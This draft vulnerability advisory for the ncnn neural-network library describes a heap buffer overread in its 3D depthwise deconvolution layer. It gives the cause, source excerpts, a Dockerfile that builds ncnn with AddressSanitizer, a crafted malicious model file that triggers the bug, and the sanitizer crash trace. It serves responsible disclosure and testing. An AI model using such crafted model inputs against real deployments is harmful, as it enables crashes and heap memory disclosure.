All advisories
Draft

Heap Buffer Overread in 3D Deconvolution

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Heap Buffer Overread in 3D Deconvolution

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/deconvolutiondepthwise3d.cpp:133 in deconvolutiondepthwise3d
Sanitizer verdict: heap-buffer-overflow

Summary

DeconvolutionDepthWise3D loads exactly as many weights as the model's weight_data_size field claims and then indexes them by maxk = kernel_w * kernel_h * kernel_d per group, with no check that the declared weight count covers the declared kernel geometry. A model with 1=3 (a 3x3x3 kernel) and 6=1 makes the depthwise loop read 27 floats out of a one-float weight buffer. ncnnoptimize reaches the layer through ModelWriter::shape_inference() after Net::load_model accepts the attacker's .bin.

Detail

load_param takes weight_data_size = pd.get(6, 0); and the kernel extents from keys 1/11/21 independently; load_model then allocates precisely weight_data_size floats and returns success as soon as the file supplies them. No constructor, loader, or forward-entry check relates the two, so the kernel volume the forward pass indexes with is unbounded by the buffer it indexes into.

// src/layer/deconvolutiondepthwise3d.cpp:51
    weight_data = mb.load(weight_data_size, 0);

// src/layer/deconvolutiondepthwise3d.cpp:73
    const int maxk = kernel_w * kernel_h * kernel_d;

// src/layer/deconvolutiondepthwise3d.cpp:106
            const float* kptr = (const float*)weight_data + maxk * g;

// src/layer/deconvolutiondepthwise3d.cpp:131
                        for (int k = 0; k < maxk; k++)
                        {
                            float w = kptr[k];
                            outptr[space_ofs[k]] += val * w;
                        }

The PoC declares 0=1 1=3 2=1 3=1 5=0 6=1 7=1, so num_output, group and the input channel count are all 1 — the inch == group && group == outch depthwise branch — while kernel_h and kernel_d default to kernel_w, giving maxk = 3 * 3 * 3 = 27. kptr is the base of weight_data (g == 0) and the loop reads kptr[0] through kptr[26], 108 bytes.

mb.load(1, 0) goes through Mat::create(1), whose cstep = alignSize(w * elemsize, 16) / elemsize rounds the payload up to 16 bytes; with the 4-byte refcount and the 64-byte NCNN_MALLOC_OVERREAD pad that is the 84-byte region ASan names. The read at k == 21 lands on byte 84, the first address past the allocation. Raising the declared kernel sizes extends the read arbitrarily far beyond the weight buffer.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-heap-buffer-overread-in-3d-deconvolution && cd ncnn-poc-heap-buffer-overread-in-3d-deconvolution

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1 11=1 2=1
DeconvolutionDepthWise3D deconv 1 1 data out 0=1 1=3 6=1
EOF

head -c 8 /dev/zero > poc.bin

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000000094 at pc 0x5e899e633186 bp 0x7ffe28e2ee80 sp 0x7ffe28e2ee70
READ of size 4 at 0x50e000000094 thread T0
    #0 0x5e899e633185 in deconvolutiondepthwise3d /ncnn/src/layer/deconvolutiondepthwise3d.cpp:133
    #1 0x5e899e63a98b in ncnn::DeconvolutionDepthWise3D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/deconvolutiondepthwise3d.cpp:250
    #2 0x5e8995b50f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #3 0x5e8995b42b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #4 0x5e8995ba29e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #5 0x5e8995a343c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #6 0x5e8995ab1eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #7 0x71e5f49391c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x71e5f493928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x5e8995a31624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
    #0 0x71e5f4fb2f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5e8995b00bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5e8995b00bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x5e8995b33381 in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:273
    #4 0x5e899e62d53a in ncnn::DeconvolutionDepthWise3D::load_model(ncnn::ModelBin const&) /ncnn/src/layer/deconvolutiondepthwise3d.cpp:51
    #5 0x5e8995b9da84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
    #6 0x5e8995b9e90a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
    #7 0x5e8995b9ec91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
    #8 0x5e8995ab1caf in main /ncnn/tools/ncnnoptimize.cpp:2797
    #9 0x71e5f49391c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x71e5f493928a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x5e8995a31624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/layer/deconvolutiondepthwise3d.cpp:133 in deconvolutiondepthwise3d

Credit

Zheng Yu @ DepthFirst